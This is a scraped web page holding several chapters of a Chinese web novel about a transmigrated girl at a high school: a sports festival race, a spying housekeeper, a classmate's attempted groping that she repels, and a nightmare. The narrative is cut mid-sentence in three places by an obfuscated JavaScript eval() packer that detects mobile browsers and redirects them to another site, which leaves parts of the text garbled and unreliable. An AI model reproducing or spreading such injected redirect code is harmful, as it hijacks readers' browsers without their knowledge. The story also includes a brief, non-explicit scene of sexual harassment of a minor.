叫徐豪的体委拿着报名单走上讲台,拿着戒尺把黑板敲得邦邦响,掐着嗓子喊道:“停!停!停!” 张思蓉上台帮他管纪律:“谁还在说话?!再说记名字了!” “……” 徐豪看班里安静下来,说道:“咱们就趁着大课间,把报名表写好,也好提前为体育文化节做准备。” “先说体育项目,一个人最多报两项,每个班男女加起来至少报够十二项。我根据咱们班的情况,挑选出跳高、跳远、4x100接力、400m、1000m、1500m这几种,男女生都一样。至于文艺项目,每班最多上报两个,只限歌舞类。现在大家踊跃报名吧!” “我报男子跳远!” “我报女子4x100。” “我我我,我报男子400m。” “我想试试女子跳高。” 张思蓉拍了拍徐豪:“给我报上女子跳高和400m。” 徐豪:“好嘞。” 程微雪环顾一周,站起来说道:“我想报名歌唱比赛。” 徐豪把张思蓉的名字写好,抬头看清说话的人,高声回答:“没问题!都写上了!” “……” 五分钟之后,徐豪数着报名表上还剩下的一堆,耷拉着眉毛发愁地问:“还有谁想参加吗?现在还差一个男子1500m,一个女子4x100,女子1000m、1500m。大家积极一点啊!” 这时,不知道哪个男生叫了一声,话里还带着些准备看戏的笑意:“夏汀舟跑1000m!” 正在角落里安静读书的苏昙冷不防听到她的名字,顿时满脸问号:你没事吧小兄弟?我跟你熟到可以开这种玩笑了? 苏昙合上书,刚要开口拒绝,听到程微雪站起来看向说话的那个男生:“夏汀舟什么都没说呢,你替她做什么决定?” 那男生一听,拧着脖子反驳道:“你又不参加你在这说什么,这么爱管闲事有本事你替她去跑啊!” “你……”程微雪当着全班同学的面被怼,死死咬着嘴唇,说不出一句话。 “笑死,不会说就别说,好好唱你的歌吧哈哈哈!” 班里的气氛一下子变得凝重,仿佛一场战争就要一触即发。 苏昙瞅了一眼挂在墙上的时钟,还有五分钟就要上课,估计老师马上就要到班。她可不想因为这种小事再去见一次杨辞。当然了,她也没兴趣揣测那个替她出风头的男生到底什么心思。 “程微雪,没事。”苏昙摆摆手,让她先坐下,接着问那个男生,“请问你报名了吗?” 男生:“管你什么事?” 苏昙问徐豪:“他报名了吗?” 徐豪看了一眼报名表,摇头道:“没有。” 苏昙重新转身对男生,话里带上和他一样的嘲弄的笑意:“怎么什么都没报,你是不是不行啊?程微雪至少还会唱歌,我听你怎么只会叫唤?” 班里一片低笑。 那男生还想反驳,苏昙却不再看他,再次对徐豪说道:“我不跑1000。” “——我跑1500。” 话音一落,全班惊讶。 有些之前认识夏汀舟的,都知道她从不参加团体活动,更别提这种抛头露面的比赛,堪称社交绝缘体。没人想到刚才亲口说要报名运动会,还是没人愿意碰的1500m! 徐豪也呆了两秒,赶紧答应下来:“……好。我把你名字写上去了。” 苏昙点点头,坐回到座位上继续看书,仿佛刚才的事情根本没有发生过。 很快,有人陆续站起来报名,把空缺的项目填上。 张思蓉看了看若无其事的苏昙,心里涌起一丝陌生的感觉。夏汀舟……变化真的太大了。 徐豪还在一边整理报名表,突然发出一声叹息。张思蓉顺着他的视线,发现女子1000m的那一栏还空着。 张思蓉:“给我报上1000m。” 徐豪震惊:“不行!你都报了两项了,身体吃不消怎么办?” “夏汀舟都可以我为什么不行?快点写上。再说,你不是也报了三个?彼此彼此。” 张思蓉扭头走下讲台。 徐豪不好意思地挠了挠头,把她的名字加了上去。 …… 晚上放学的时候,苏昙拖着有些沉重的身体和心情,任命地站到操场跑道上。 明明只是打算帮程微雪说两句话,怎么说着说着把自己也扯进去了?还偏偏脑子一热,就这么答应了! 算了,只当帮夏汀舟锻炼锻炼身体。而且听说没事跑跑步有助于改善心情和睡眠,说不定她今天晚上能少做会梦呢。 苏昙做完热身,又做了几个深呼吸,迈开步子开始跑步。 跑着跑着,她感觉到后面好像一直跟着一个人。 苏昙回头:“张思蓉?” 张思蓉加快速度和她并肩,说道:“我知道这不是你的真实成绩。” 苏昙:“……什么成绩?” “连着两次,不进反退。我敢肯定,你考得这么差肯定有原因。不能告诉我为什么吗?” “……不能。”苏昙匀了匀呼吸,又道,“抱歉。我的确有原因,但还不能让你知道。” 张思蓉没有生气,反而释然笑道:“我就知道你不是无缘无故考这么差的。没关系,我会等你亲口告诉我。高中只要一天没结束,你就是一天我的对手。我不会松懈的。” 苏昙也笑道:“行。” 张思蓉跑完两圈,准备回家。临走时,她出声喊住苏昙。 “夏汀舟。” “?” “我们是竞争对手吗?” “嗯。” “那我们算是朋友吗?” 苏昙想了几秒,替夏汀舟答道:“我希望是。” “我也希望!” 张思蓉背着书包,笑着挥手走远了。 苏昙还有两圈,跑到最后一圈,她又远远地在终点瞧见一个熟人。 是001在等她。 她慢慢调整呼吸,提高速度,一口气冲向终点。 “真是的,你也不知道往前走两步!我马上要不行了!”苏昙喘着气,接过001递来的水杯,仰头猛灌。 她的包不知道什么时候到了001手上,被他拎得十分自然,以至于苏昙一时间没发现。 001眼神微动,抓着书包带子的手指不禁收力。他紧紧盯着苏昙,问道:“你……希望我靠近你吗?” 苏昙愣了一秒,快速拧上杯盖,把水杯隔在身前,高声道:“当然不行。我刚跑完步,身上全是汗味,你最好离我远点!” 001眼底一闪而过的失落被夜色掩盖,他顺着回道:“好。这么远可以吗?” 他抬起长腿,向旁边跨了一步,瞬间和苏昙中间空出足足一个人的距离。 一看就是故意的。 苏昙避开他的目光,盯着地面小声道:“其实、好像也能再近点……” 下一秒,她注意到地上的两个影子突然靠近,□□场的灯光拉得长长的,好像在紧紧地拥抱,暧昧而缱绻。 为什么跑完了,心跳还是这么快? 苏昙悄悄做了几个深呼吸,边走边转移话题道:“对了,你还记得上次夏恒突然回来吗?我想我应该知道,夏恒是怎么得知我成绩退步的事了。” 001把视线从她脸庞移开,思索道:“记得。你是怎么想的?” “我能先问你个问题吗?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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苏昙拉她坐到床边,讲道:“我去看了您的简历。孙姨,您的孩子去世得早。但真要算起来,甚至比我还要大几岁,估计已经是工作的年纪了。换位思考一下,你会愿意自己的孩子一辈子活在别人监视当中吗?只是我看您在我家已经干了两年多,怎么也算半个家人,算不上别人。” 孙姨不敢看苏昙:“你怪我吧,小姐。成绩的事是我告诉的夏先生,可我真的没有想到你会受这么大委屈……先生没给我多少钱,就是要我平常多注意你的动向,有什么出格的就及时告诉他。” 苏昙一想到这具身体的主人,包括现在的自己,一直活在亲近的人的监视里,心中一阵发凉。好比有一双眼睛始终黏在身上,怎么甩也甩不掉。 她严肃道:“孙姨,不止他能雇你,我一样能辞退你。这个道理你应该是明白的吧?” “我知道,我知道的。”孙姨眼圈红了,“你们都是顶好的人,待我就像自己家的人一样。是因为我老伴年前胃癌生病住院,要做手术,我那点钱根本不够交给医院的,夏先生一说,我就鬼迷心窍地答应他了。” 苏昙脸上的逼问之意褪去:“那叔叔……他现在?” “……今年过完年就拉回家,埋土里了。好歹人挺过年关,也算是活到头了。” 孙姨偏过头擦掉眼角的泪。 “抱歉啊。” 孙姨摆手:“人死不能复生,我早就看开了。” 苏昙停了一会,问道:“我爸他……现在都知道我什么事情?” “你平常去了哪,做了什么事,最主要的是,有没有……再去搞照相机。” “您怎么告诉他的?” “我实在是于心不忍啊小姐!每次看见你在房间里、小区里摆弄相机,我觉着你身上是有光的,眼里都是带着笑的!和你面对家人的时候完全不一样。”孙姨慈爱地注视着夏汀舟,“我想你应该是特别喜欢,宁愿背着人也要坚持下去,所以我从没在先生面前提起来你拍照的事!都是捡一些无关紧要的小事,提两句算交差。我以为夏先生只对你的兴趣爱好严苛,没想到对学习也这么……” 苏昙看孙姨窘迫的模样不像说谎,心觉她不过是个吃一口饭的普通人,能做到现在已经是累得够呛,便道:“您送的水果我会吃的,不早了孙姨,你也赶快回去休息吧。” 孙姨得到暗示,忙感激地保证:“小姐你放心,从现在起我只拿该拿的工资,其余的一分钱都不要了!” 苏昙笑着目送孙姨离开,长长吐出一口气,重新钻进浴室,整个人滑进盛满适温热水的浴缸。 75. 世界四(8) 虚空之境。 131已经和001泡在诺大的档案室里三个小时没出去,帮他一起找那个什么混沌珠的信息。 已经一个多月过去,他们找了虚空之境历史、主神档案、就连他们工位桌子什么材料做的都了解得一清二楚,整个档案室快要翻遍,连个混沌珠的影子也没摸到。 131活动一下僵硬酸痛的腰背,走向站在架子另一头的子系统,调侃道:“你说你,主神每天都给你安排那么多工作,你不仅要抽空去见苏昙,还要抓紧时间帮她找资料,啧啧,别太爱了。” 001翻页的手指停下,不知想到什么,说道:“她好像,对我没那个意思。” “什么没那个意思?”131反应过来他指的什么,惊讶道,“不是吧,所以你要放弃了?!” “不是的。我只是……不想再这么等下去了。” 131挠头:“?” 001没有再解释,转而问道:“这段时间怎么一直没见401?你们有见面吗?” “诶,你不说我还真没发现,他很久没出现过了。” “我记得我和他最后一次见面是我从忏心间出来的第二天。他那时状态不怎好,估计是被吓得还没缓过来,我也不好多说什么再刺激他。你知不知道,他在那之后又经历了什么?” 131打了个哈欠,摇头道:“这两天我找机会问问他身边的同事,有什么不对劲就告诉你。” “好。”001把手里的档案放回去,“今天多谢你帮我一起找资料。你先回去休息吧,我准备再去旁边的图书室看看,估计还得花些时间。” “那行,我先走了,实在顶不住了。”131又打了个泪眼婆娑的哈欠,“也就是你,精力和体力都这么好,主神把什么大事小事都推给你解决。幸亏祂不知道咱俩关系比祂想得要好,不然我也得跟着加量工作喽。” 001面无表情地把他踹出档案室。不知道的见了,真以为两个子系统关系不和,互相看对方不顺眼。 * 转眼新的一周,新的周五,南山市第一高级中学的体育文化节如期举行。 不幸的是,夏汀舟这具身体的生理期推迟了,原本是在每月中旬,这次推迟到月末,好巧不巧撞上体育文化节。 幸运的是,苏昙的比赛在文化节最后一天,也是例假来的第二天,她的小腹已经没那么疼,坚持跑完应该没什么问题。 1500m排在下午第二场,苏昙脱掉厚外套,提前做完热身,在贴身的毛衫上戴好号码牌,站在集合处准备点名,耐心等第一场1000m结束。 许是最后一天都是些没什么意思的长跑比赛,堆挤在操场的人比前两天少了将近一半。但苏昙不知道,其实其中绝大部分都是留下来看她——夏汀舟的。 广播处响起高三年级的志愿者学姐嗓音甜美的播报:“女子1000m马上开始,请参加的选手到裁判处点名报道,缺席则视为主动放弃比赛。再说一遍……” 张思蓉早早换上一身轻薄的卫衣,跟着六名赛友往点名处走,经过在一旁等候的夏汀舟等人。 她对夏汀舟喊道:“等我跑完,就去给你助威!” 苏昙笑道:“你也加油!” 很快,1000m的参赛选手在跑道上站定。 ——砰。 一枪令下,比赛开始。 …… 学校大礼堂。 “微雪,准备换衣服,再有三个节目就到你了!” 礼堂后面的化妆间里,负责的老师朝还坐在椅子上的女生提醒道。 “好的老师,这就来。”程微雪把手机正在播放的伴奏关掉,紧张地问,“怎么样,来看的人多吗?” “挺多的。放轻松,好好唱就行。” “嗯,谢谢老师。” 程微雪换上一身白色长裙,用卷发棒烫了发梢,化了淡妆,又在嘴唇浅浅涂了一层口红,把整个人衬托得气质出众。 十几分钟后,轮到她上台。 刚刚结束的节目是个相声,一个捧哏一个逗哏,把台下的观众逗得直发笑,雷鸣的掌声不绝,似乎还久久地回绕在礼堂。 舞台上聚光灯耀眼,程微雪提着裙摆上台,站到固定的位置,做了几个深呼吸,示意旁边设备间的工作人员可以开始放伴奏了。 一首歌的时间不长,唱到一半,程微雪发现开始有人陆续离席。 怎么回事?难道她唱得……这么无聊难听吗? 程微雪努力收回目光,继续认真地把辛苦准备的歌曲唱完。 一曲终了,她下去时,看到观众席的人剩下寥寥无几。 她随手抓住一个路过的同学:“不好意思。请问一下,你们怎么都出去了?” “你是刚才唱歌的同学吧?那你应该还不知道,听说夏汀舟已经开始在操场跑1500m了!都说她长得特别好看,学习还好,大家都很好奇呢!” 说完,回答的同学头也不回地朝操场的方向跑去。 原来是她啊。程微雪回到化妆间换掉裙子,拿出书包里准备好的矿泉水,也抓紧时间离开,希望能赶在夏汀舟跑完之前到那。 操场上,张思蓉已经比赛完——拿下第四,也就是倒数第二——此刻正在跑道外围声嘶力竭地给苏昙打气:“夏汀舟,加油!夏汀舟,坚持住!夏汀舟,跑啊!” 苏昙经过张思蓉身边,听她喊得嗓子都要哑了,也不知道悠着点。 不过苏昙感觉自己的确要坚持不住了。她背上出了汗,凉风一吹,浑身发冷,小腹又开始隐隐作痛。 001从一开始就在她身边陪跑,时刻观察她的情况如何。 还剩最后一圈。 苏昙大口喘气,同时调整呼吸和步伐,如果能保持现在的节奏,前两名不是问题。无论如何,也一定要到终点。 最后半圈。跑道外围的人越来越多,呼喊声也越来越大。 苏昙试着加快速度冲刺,突然感到胃里一阵翻江倒海,肚子像被千斤重锤扯着往下拽,疼得快要撕裂。她腿肚发软,脚步放慢。 001立刻问道:“身体没事吧?” 苏昙摇头,死死咬着牙关,很快调整过来,硬是把涌到喉间的酸水堵了回去。 还有三步、两步、一步。 “——啊啊啊!你太牛了,是第二!第二!”张思蓉不知道从哪冲上来,一把搀扶住苏昙,把已经开过盖子的水递到她手里。 “……谢谢。” 苏昙借喝水的动作,抬眼寻找被挤到人群外的001,微不可察地向他挥挥手,示意他先走,自己没什么事了。 很快,苏昙身边被好奇的学生包围,有来送水的,还有来凑热闹看漂亮女生的。 “她就是夏汀舟,好好看!” “天呐,不仅学习好,性格还好,我要爱上了!”一个高一学妹看着正在对张思蓉微笑的夏汀舟,捧着脸花痴道。 “好想和她做朋友,谁能去要个联系方式?” “……” 程微雪握着水瓶到操场的时候,刚好看到这一幕。她垂下眼,静静看了一会,默默离开。 苏昙像个吉祥物一样被人盯着,简直一个头两个大,尤其身上还来着例假。 她等到裁判登记完成绩,立刻穿上外套,逃命似的回到温暖的教室。 班里没几个人,估计都还在学校的各个地方娱乐。难得没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16703830|182094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 课,不吃过晚饭实在不舍得回来。 苏昙拿出抱枕,塞上耳机。 “先别睡。” “?”苏昙抬头,看到001出现在她桌前,下意识先确认周围环境,随后在识海问道,“你一直没走吗?” “没有。”001从裤袋里掏出一个巴掌大小的东西,“听说、咳,经期的时候贴个暖宝宝会好一点。把这个贴上再休息吧。” 苏昙呆呆地看着他手心里的暖贴,感到这东西从他兜里拿出来,有一种很掉价的错觉。或者说,是001长了一副很贵的样子。哦,除了他那万年不变的直男审美白衣黑裤。 “需要我帮你?”001又把暖贴往苏昙面前送了送。 “不用!我自己来。” 苏昙快速撕开包装,找准小腹作痛的位置,轻车熟路地贴到毛衫上。 她又看了001一眼,皱紧眉头:“不对啊,你哪来的这东西?” “校外买的。怎么了,质量不好吗?要不要我再去多买——” “我不是问这个。我是说……你怎么会有钱买东西?” 001笑着解释道:“我们子系统在虚空之境工作是有工资的。只是我们日常对钱的需求很少,我也不怎花。” 苏昙在心里默数,好家伙,工作一百八十年,一分不花,那得有多少存款了啊!可怜她接一单项目才挣那么一点,人和人之间果然是有壁垒的。 “你放心,我看到老板在休息,就把钱放到前台的电脑前了,有给他写纸条说明。” “我当然放心你啊。” 苏昙想也不想回答,说完却猛地愣住。 从什么时候开始,她对001这么信任了?信任到……她可以脱口而出。 苏昙轻咳一声,补充道:“也不是全部放心。” 001:“?” “就说这么冷的天,你还穿这么薄,不冷吗?” “冷。” “既然你也感觉冷,为什么——” “因为想立刻见到你,一分一秒也不想浪费。” “……” 苏昙感觉到肚子上的暖贴好像起了作用,瞬间全身都热腾腾的。 她理不直气也壮地问:“那你也得穿厚点。你没有厚衣服的吗?” 001鼻尖微红:“……没有。我以前几乎不出虚空之境,用不着那么多衣服。” 苏昙瞪大眼睛:哈?他竟然还装可怜!在对我装可怜? 竟然还该死地有用。 “趁今年过年,我带你去商场挑几件衣服。正好,我也想再买一件睡衣。” “嗯,听你的。” 苏昙快要接不住他的话,干巴巴道:“你还有事吗?” “有。”001神色变得认真,“这段时间我和131一直在查混沌珠的信息,但依旧没有眉目。虚空之境的图书室是最后一个可能有混沌珠记载的地方,我已经查完了里面一半的资料。如果图书室还没有结果,可能就真的没了。” 苏昙还以为发生了什么大事,心里虚惊,安慰他道:“嗐,我以为多大的事!我就是对那珠子有点好奇,想多了解一点。本来就是我请你帮的忙,查不出来也没关系,千万别因为这点小事耽误你的工作!” “不会耽误。”001看她真的没有生气,神色轻松了些,说道,“你身体不舒服,我就不在这打扰你休息了。趁着还有点时间,你再睡会。我先回虚空之境了。” 苏昙把头埋进松软的枕头里,乖乖挥手:“去吧去吧。” 临走前最后一眼,001再次生出想要拥抱她的冲动,就像之前操场上拉得很长的影子那样。 但他不敢。他既想拥有,又怕失去。 76. 世界四(9) 教室里暖气十足,苏昙戴着帽子趴在抱枕上,听着耳机里随机播放的音乐,睡了个舒舒服服的小觉。 “夏汀舟在吗?你们班的杨老师有事找你!” 一个长相陌生的同学站在教室门外,朝里面高声喊道,嘹亮的声音在安静的教室里显得格外突兀。 苏昙被吵醒,听到她的名字,应了一声,摘掉耳机,把放在桌屉里的手机随手塞进校服裤兜,站起来走出教室。 她跟在那位同学身后,问道:“杨老师找我什么事,要很长时间吗?” 毕竟再有不到半小时食堂就要开饭,她跑完几圈到现在已经有些饿了。 “我不知道啊,我就是个传话的。” “行吧。” 苏昙百无聊赖地走到教学楼对面的老师办公楼,进到办公室却发现只有一个男生在。 她对这个男生有印象,之前她总被杨辞叫来谈话,好几次看到这个男生进来给对面桌的张老师送作业。如果她没记错,这个男生应该是张老师班里的数学课代表。 传话的同学已经离开,办公室里只剩下苏昙和他。 苏昙看这个课代表正在张老师座位上整理卷子,估计有一会了。她出声打断道:“请问,杨老师来过吗?” 课代表神色有些躲闪,匆匆瞧了夏汀舟一眼,说:“你说的是杨辞杨老师吗?” “是他。他说有事找我,结果人却不在这。” “哦,他刚才来了一趟,让我交代你一句,等你到了直接到最顶楼的杂物室找他,好像说要找什么东西。” 苏昙疑惑:“什么东西非要让我帮他找?” “我也不太清楚,我又不是你们班的。可能是你的什么东西吧。你快去吧,杨老师早就到了。” “……好。” 苏昙走之前又问道:“对了,之前老看你过来送作业,你叫什么啊,认识一下呗。” “张光。” “我叫夏汀舟,你应该知道我。走了。” 苏昙出了办公室,拐到楼梯口。这栋楼的最顶层,可是在四楼! 她停了一会,揉了揉还酸软着的小腿,一鼓作气爬上去,来到杂物室。 然而,她并没有看到杨辞,连个影子都没。反倒有个素不相识的男生,个子不高,肤色偏黑,好像在这等了很久了。 “夏汀舟,你终于来了!我还以为你会拒绝呢。” “杨老师没叫我?” “当然不是他,是我有事想对你说,才假借你们老师的名字,不然你肯定不会来!” “……”苏昙被面前这个年轻异性眼中的凝视之意恶心地直反胃。 男生丝毫不掩饰心里的欲望,有些激动地关上了储物室的门。 苏昙冷声提醒他:“我看你也就16、7岁的样子,知道这是在学校吗?” “你说什么呢汀舟,我们都是学生啊,我当然知道这是学校。” “所以你现在要对我上下其手。” “你竟然明白我的心意!没错,我是四班的孙瑞杰,喜欢你好久了,从高一见你的第一面我就下定决心要和你在一起!你……答应做我女朋友吗?” 苏昙拼命忍住没有翻白眼,好声好气道:“不答应,走了。” “先别走!”男生脸上浮现一抹意味不明的笑,“一看你就还没尝过被滋润的味道,等你试过了,就知道做我的女朋友有多爽。” 说着,他伸手探向夏汀舟大腿。 “……”苏昙无比庆幸还没有吃晚饭,否则还没消化完就得先全吐出来。 她早有防备地向后侧身,躲过那男生的猪蹄,压住心中的怒气,同样笑着邀请道:“别光说不做啊。你不需要先表示一下吗,嗯?你先脱,我后脱,我们一起,脱干净了再开始,好不好?” 男生有些惊讶,立刻抬头环顾杂物室死角。 苏昙催促道:“别看了,这屋子里没有监控,拍不到我们两个。” 她刚进门就已经观察过,不得不说,这还真是个干坏事的好地方。 “你、你一个女的,就不怕吗?” “你都不怕我怕什么?快脱啊,你要是害羞,那我先也行。”苏昙说着,抬手解开外套的口子,随手扔在一边。 “屋里没暖气,你、你不怕冷吗?” “做这种事,不开暖气也行,省得出汗了。快啊!” “再等一下。”男生吞吞吐吐,“你还没答应做我女朋友呢……” “女不女的重要吗,难道做不才是最重要的吗。” “再等……” “再等个屁!脱啊!你不是很想让我尝尝吗,继续啊,脱啊!” 苏昙猛地吼道,吓得男生浑身一颤,愣在原地。 毛都没干的混小子,在她面前装什么老司机?现在的小男孩,一天天的脑子里面都只剩下这种事了吗? 下一秒,苏昙逼近他,怒不可遏地提膝在他□□轻撞了一下:“记住,女生不是你能随便招惹得起的,滚!” 十秒钟后,男生嚎叫着捂着裆跑走了。 苏昙嗤了一声,忍了半天的白眼终于在此刻被释放。她捡起地上的外套,拍掉上面的灰,赶紧穿好,也走下楼梯。 回去的路上,路过办公室,正巧碰到刚吃完饭回去的杨辞。 苏昙挥手打招呼:“杨老师好。” 杨辞看见夏汀舟乖巧的模样,接着想到她那愁人又让人没办法的成绩,咂摸着嘴,心里一阵不是滋味。 “杨老师,您刚刚叫我去找你了吗?” “什么找你?”杨辞回过神,“我没叫你过来啊。” “这样啊,没什么事。杨老师再见,我回班上晚自习了!” 苏昙笑着离开,出了杨辞的视线后却闪进厕所,拿出兜里的手机,按掉录音键。 * 小插曲之所以为小插曲,是因为本就不会让人记得太久,过去了也就过去了,日子依旧会按照时间的轨迹,变成一个个跳动更新的数字。 苏昙不说,没人会知道,体育文化节最后一天的傍晚,在办公楼顶层的杂物间,上演了一幕“壮烈”的“爱恨情仇”。 每天在学校熬过白天,一回到家,苏昙便立刻扑在电脑前,接着头天晚上的代码继续敲键盘。 她自认为不是一个天赋异禀的计算机真命天子,什么几岁学会编程、几天写出一套优秀的程序……她就是单纯地喜欢写的代码运行成功的那一刻,很爽却还不够。 就像一切努力都会有结果,至于结果是什么样,就要取决于怎样对待努力的过程。 说得难听一点,她可能天生就是当牛马的命。 所以她早就默认自己未来会按部就班地按照无数人的生命轨迹那样,日复一日、年复一年地走到尽头。既然能够看得见尽头,又为什么一定要有目标?一定要有所谓的人生规划? 所以在她看来,莫名其妙地成为“三无人员”,又稀里糊涂地进到这个“咸鱼系统”,简直就是扯淡。 直到她遇到了一些事,碰到了一些人,才慢慢发现,困在系统里的日子好像也没那么孤单难熬。 如果某一天她真的能够离开这里,说不定还会伤感怀念片刻。 …… 代码软件界面的输入键停在原地持续跳动,电脑屏幕在黑暗中散发着有些刺眼的亮光,刺得苏昙眼睛发酸。 她闭了闭眼,转了转发僵了手腕,重新聚神,继续思考刚才有问题的代码片段。 很快两个小时过去。 苏昙捏了捏内眼角,打了个哈欠,心说就先趴在桌子上休息一会,结果不知不觉在电脑前面睡着了。 “留下来。” “留下来。” “帮我。” “……” 古老而悠远的声音伴随着阵阵飘渺的暮鼓,唤醒苏昙的记忆,她又一次听到了同样的呼唤。 苏昙睁开眼,看了看四周,还是和之前见过的那样,除了两侧是不断闪过的有些模糊的彩色画面,其余空间依旧是漆黑一片。 只不过,这一次她能看到的画面更多了。 苏昙跟随着声音的指引,径直朝前走去。前进的同时,她注意到,身侧的闪烁的画面并非都是她所经历过的。 画面里,是一个亮如白昼的房间,刺眼的照明灯明晃晃地探在头顶,直射到躺在手术椅的人身上,躺椅周围站着一群身着手术服戴着口罩的医生,似乎在急切地讨论着什么。 那些人是谁?为什么她会有一种熟悉的感觉? 苏昙走进几步,想要看得更清楚些。可在快要来到画面跟前的那一瞬间,一股巨大的冲击力毫无预兆地向她袭来,眨眼将她推开。 难道不能看么…… 苏昙虽没有受伤,却也不敢再贸然靠近两侧的画面,缓了片刻继续往前走。 又走了一段距离,她身旁的画面再次变换,里面竟然是苏英华和林远。 他们似乎葬礼上,两人哭得哀痛而悲怵,尽管画面模糊,苏昙还是一眼看出来,他们的头发全都变得花白,身躯也佝偻了许多,好似一夜之间变得老态龙钟。 苏昙的心脏像被狠狠地揪住,自责内疚之情占满胸腔。他们在参加 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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下一秒,苏昙整个人被吸进画面的场景里,来到了苏雨虹身边。 “苏雨虹?”她轻声喊道,“你还记得我吗?” “……夏汀舟……我怎么可能会不记得你?” 苏雨虹的情绪看起来还是很不稳定,和当时苏昙梦中那个雨夜里的状态一样,漂亮而危险。 苏昙下意识往后退了半步,生怕她会再掏出个刀啊枪啊什么的。 “那个,我们……认识吗?” 夏汀舟是她在这个里世界原主的名字,为什么苏雨虹会知道? “我告诉你夏汀舟,是,你是给我了钱给我妈治病,但我告诉你,这不代表你就能毫无底线地践踏我的自尊心!” “等等,你等一下。” 苏昙转身快速看了一圈周围,怪不得她从刚才就感觉这个高度和环境那么熟悉,这个地方是南山高中办公楼的楼顶,她前段时间刚被骗着来过这! “你说你妈病了,什么时候的事?”苏昙试着从上往下瞅了一眼,顿时一阵晕眩,又往后退了几步。 苏雨虹不可置信道:“你在装什么?!你还敢来赴约,就证明你还有点良心,你敢不敢主动向老师证明,那件事我根本就不知情!凭什么要诬陷我?!” “什么——” “呵,我就知道你一直都是个懦弱胆小的人,从来敢做不敢当!” “不是,我——” “夏汀舟,从认识你到现在,我承认,我就是眼瞎,连你最虚伪的伪装都没看破!” 苏雨虹又一次崩溃,红着眼睛怒吼。 “你先别冲——” “我和你没什么好说的了,借你的钱我已经还给你了,从今往后我们再也不见。” 苏昙的话第三次被打断,她一知半解地猜测苏雨虹到底怎么了,苏雨虹却连解释的机会都不给她。她们之间到底发生了什么? 苏昙心里清楚,眼前的这些大概率又是假的,但她现在也身在其中,真的做不到无视不管。她举起双手放到胸前,将手心朝着苏雨虹,安抚道:“我错了,我去向老师承认错误,行吗?你千万别冲动。” “太迟了!你为什么不早这样说?你为什么宁愿用钱来解决,也不愿意对我说一句对不起?我对你太失望了……也对我自己失望至极。” 苏雨虹摇摇头,脸上挂着两行流不尽的清泪。 苏昙心觉不妙,立刻伸出手挽留:“——别跳!” 77. 世界四(10) “——不要!” 苏昙尖叫着从椅子上弹起来,不料双腿正在发麻,又跌坐下去。 “嘶……”苏昙捶着压麻的腿,看了一眼电脑右下角的时间,已经是凌晨三点。 她坐着缓了一分钟,她忽觉后背隐隐发凉,伸手摸了一把,原来背上早就被冷汗浸透了。 苏昙心中余惊未平,有些口渴,摸黑下楼去厨房倒水,路过客厅,余光瞟见沙发上竟然静静地坐着一个“女鬼”! 她稳了稳呼吸,看清那人是谁,轻声问道:“妈?” 陈玫似是习惯这样一个人坐着,看到夏汀舟也不意外,说道:“我睡不着,出来坐会。你呢,大半夜的怎么出来了?” “……做了个噩梦,出来喝口水。” “睡得还是不好吗?” “没有,其实好多了。” 苏昙捧着玻璃杯坐到陈玫身边。 陈玫支着下巴,透过阳台的窗户,久久地看着外面光秃秃的树干,过了好一会,才道:“汀舟,你是不是也觉得,家里冷冷的。” 苏昙感受了一会,说道:“客厅没开暖气,是有些冷。您要不还是回屋坐吧。” “难道开了暖气就能暖和起来吗?” “……”苏昙觉得今晚的陈玫和平日里不太一样,好像多了几分敏感……和脆弱。 苏昙:“是啊,就算暖气开得再大,只要门没有关好,冷风一样会找到缝隙钻进家里。” “在你看来,没有一点温度的家,还算得上家吗?” “算。” “为什么?”陈玫把头扭过来,像是刚哭过。 “因为还有家人,相爱的家人之间,一定是有温度的。” “那如果家散了呢?” “家散了,可家人还在啊。” 陈玫眼神微动,再次沉默下来。良久,她哑声道:“汀舟。” “嗯。” “我打算和你爸离婚。其实不止你和迁舟害怕,每次吵架,我心里也很惊恐。你爸爸是一个商人,在他眼里,没有优柔寡断,只有说一不二。我真的忍受不了每次见面都是争吵,我已经受够了。” 苏昙在刚刚就隐约有预感,不算很意外。她没有再追问,只道:“我理解。只要您不会后悔,就只管去做。” “你……不怪我?” “为什么要生气?每个人都有追求自己生活的权力,过得下去就过,过不下去就散伙。但您放心,您永远是我和夏迁舟的妈妈。您很勇敢。” “谢谢你……”陈玫忍不住流泪。 “我可什么都没做,要谢就谢您自己吧。” “对了,我准备离婚这件事,先别和迁舟说。我还没和夏恒沟通,没确定下来之前,就先别让你弟弟担心了。” “好,我都明白。”苏昙开始感觉手脚发凉,一口气把热水喝完,建议道,“要不,我们先回屋吧。” 陈玫看起来轻松了很多:“走吧。” “对了妈,”苏昙走了两步,又停下来,“我还想再问您个事。” “你说。” “你或者爸爸认不认识一个叫苏雨昙的女生?应该和我一样大。” 陈玫想了想,摇了摇头:“没听过这个名字。怎么了吗?” “哦,没什么,我也是偶然间听到的。”苏昙走到楼梯口,“那我上去睡觉了,您也早点休息,晚安。” * 体育文化节结束两星期后,高二上学期第二次月考结束。 一天体育课上,张思蓉突然神神秘秘地把夏汀舟拉到一个没人的地方,一脸凝重问道:“夏汀舟,看在咱俩是朋友的份上,你给我说句实话,你到底有没有做那种事?” 苏昙原地做了几个开合跳暖和身子,疑惑道:“哪种事?” “就是那种事啊!” “那种是哪种?” “你真不知道假不知道?”张思蓉想解释又不好意思描述,凑近了她耳边小声地说,“就是男生和女生之间会做的事。” 苏昙不敢相信自己的耳朵:“我一个高中生,怎么可能会干那种事?” 